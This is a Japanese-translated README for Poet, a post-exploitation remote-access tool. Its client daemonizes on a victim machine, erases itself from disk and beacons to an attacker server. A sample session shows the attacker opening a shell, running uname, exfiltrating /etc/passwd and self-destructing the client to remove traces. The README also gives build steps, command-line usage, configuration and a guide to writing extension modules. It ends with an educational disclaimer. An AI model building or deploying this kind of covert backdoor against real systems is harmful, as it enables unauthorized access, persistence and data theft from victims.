
[非メンテナンス] ポストエクスプロイトツール
シンプルなポストエクスプロイテーションツール。
クライアントプログラムはターゲットマシン上で動作し、接続先サーバのIPアドレスと接続頻度で設定されます。クライアントが接続しようとしたときにサーバが動作していない場合、クライアントは静かにスリープし、次の間隔で再試行します。しかしサーバが動作している場合、攻撃者は制御シェルを取得してクライアントを制御し、ターゲット上で以下のようなさまざまなアクションを実行できます。
これはPoetができることのほんの一例です。
シナリオ:攻撃者が被害者のマシンにアクセスし、クライアントをダウンロードして実行しました。この時点でサーバは動作していませんが、問題ありません。クライアントは忍耐強く待機します。やがて攻撃者が準備を整えサーバを起動し、まずシェルを起動して uname -a を実行し、次に /etc/passwd を流出させます。その後、攻撃者はクライアントから切断・デタッチします。クライアントはターゲット上で引き続き実行され、次にサーバに接続する機会を待ちます。後日、攻撃者は再び接続し、クライアントを自己破壊させ、ターゲットからすべての痕跡を削除します。
Victim's Machine (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
警告: このコマンドを実行した後、サーバーから
selfdestructを実行するか、poet-clientプロセスを強制終了してクライアントを停止する必要があります。
Attacker's Machine (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
releases ページにアクセスし、最新の poet-client と poet-server ファイルをダウンロードしてください。
その後、以下の使用法のセクションに進んでください。あるいは、Poetを自分でビルドすることもできます(とても簡単です。以下を参照)。
python2.7 と zip の実行ファイルが利用可能であることを確認してください。
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
これにより、poet-client と poet-server を含む bin/ ディレクトリが作成されます。
Poetは非常に使いやすく、Python (2.7) 標準ライブラリのみを必要とします。簡単にテストするには、典型的な起動方法は次のようになります:
ターミナル 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
デフォルトでは、Poetクライアントはデーモン化してディスクから自身を削除するため、その動作は
--debugと--no-selfdestructフラグを使用して抑制されます。
ターミナル 2:
$ sudo ./poet-server
デフォルトでは、サーバはルート権限(
sudoを使用)で実行する必要があります。これは、デフォルトのバインドポートが 443 であるためです。それが不安な場合は、単にsudoを省略し、クライアントとサーバの両方で-p <PORT>フラグを使用してください。ポートには適切な高い番号 (> 1024) を選んでください。
common/config.py ファイルには、Poetビルド用のさまざまなオプション設定が含まれています。
AUTH : クライアント認証のためにクライアントとサーバ間で共有される秘密認証トークン。デフォルトのものは秘密とは言えないことに注意してください。テスト以外の用途では、推測不可能な別の値に変更することを推奨します。プリビルドパッケージはデフォルトの公開認証トークンを使用しています。ARCHIVE_DIR : サーバがファイル(実行出力、流出、偵察など)を保存するために使用するディレクトリ。SERVER_IP : サーバのIPアドレス。BEACON_INTERVAL : クライアントからサーバへのビーコンの間隔(秒)。SERVER_IP と BEACON_INTERVAL の設定により、コマンドライン引数で必要だった情報を最終的な実行ファイルに組み込むことができ、実行ファイルを引数なしで実行できるようになります。どちらかに None を設定すると、デフォルトの動作(SERVER_IP は必須コマンドライン引数、BEACON_INTERVAL はオプションのコマンドライン引数)に戻ります。
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poetはクライアント/サーバアプリケーションです。クライアントはターゲット上で実行され、一定の時間間隔でサーバにビーコンを送り返します。必須引数は、サーバが実行されている、または実行される予定のIPアドレスのみです。その後に、ビーコンを送り返す頻度(秒単位)をオプションで指定でき、デフォルトは10分です。クライアントがビーコンを送信するポートは -p フラグで指定できます。その他のフラグは「実際の」使用では使用されず、主にデバッグ用です。
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
サーバはユーザ自身のマシン上で実行され、クライアントからのビーコンをリッスンします。デフォルトでは特権ポート(443)でリッスンするため、特権(バインド後すぐに削除されます)で実行する必要があります。-p フラグを使用して、特権のないポート(>1024)を選択することでこれを回避できます。
Poetはモジュールフレームワークを通じて高度に拡張可能で、実際、poshシェルで利用可能なほぼすべてのコマンドがモジュールとして実装されています。これらは common/modules/ ディレクトリで確認できます。common/modules/template.py は最小限の例のモジュールとして機能し、出発点として使用できます。Poetモジュールを追加するには、common/modules/ ディレクトリに配置し、make を使用してPoetを再ビルドするだけです。
以下は、クライアントとサーバ間の基本的な通信を示す簡単なモジュール例です。このモジュールはposhコマンドを登録し、文字列を送信し、クライアントがそれを反転して送り返し、サーバがそれを出力します。
# Note: this module doesn't check if an argv[1] was given
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
モジュールは次のように始まります:
import module
これは必須であり、モジュールフレームワークに登録するために必要です。
次のセクションはモジュールのサーバサイドコンポーネントです。
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.server_handler() デコレータは、コマンド名をデコレータパラメータとして渡し、コマンド実行時に実行するハンドラ関数を定義することで、poshコマンドを登録するために使用されます。ハンドラ関数は2つのパラメータを受け取る必要があります。1つはモジュールを呼び出した PoetServer のインスタンス、もう1つは入力されたコマンド文字列を引数のリストとして表現したものです。サーバインスタンスは、モジュールがクライアントとの通信やアーカイブディレクトリへのファイル書き込みなどのヘルパー関数を使用できるように存在します。モジュールは server.conn.exchange() を使用して、コマンドラインを文字列としてクライアントに送信し、戻り値として応答を取得します。
次にモジュールのクライアントサイドコンポーネントです。
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
@module.client_handler() デコレータは、クライアントが反応して処理するタスクを登録するために使用されます。クライアントとサーバは文字列を相互に渡すことで通信するため、文字列の最初の部分が特定のタスクのキーワードになります。モジュールは、サーバから'reverse'で始まるメッセージが届いたときに実行するクライアントハンドラ関数を登録します。サーバハンドラと同様に、クライアントハンドラは PoetClient のインスタンスと、サーバから渡された入力文字列のパラメータを受け取る必要があります。クライアントは client.s.send() 関数を使用してサーバにデータを送り返します。この例では、最初の引数を反転したものを送信します。
動作は次のようになります。
posh > reverse poet
Sending: poet
Received: teop
文書化された懸念事項:
私はPoetを純粋に自分の教育と学習体験のために構築しています。コードは自由に利用できる形で提供されていますが、これはこの種のものについて学びたい他の人々にとって有用かもしれないと思うからです。責任を持って使用してください。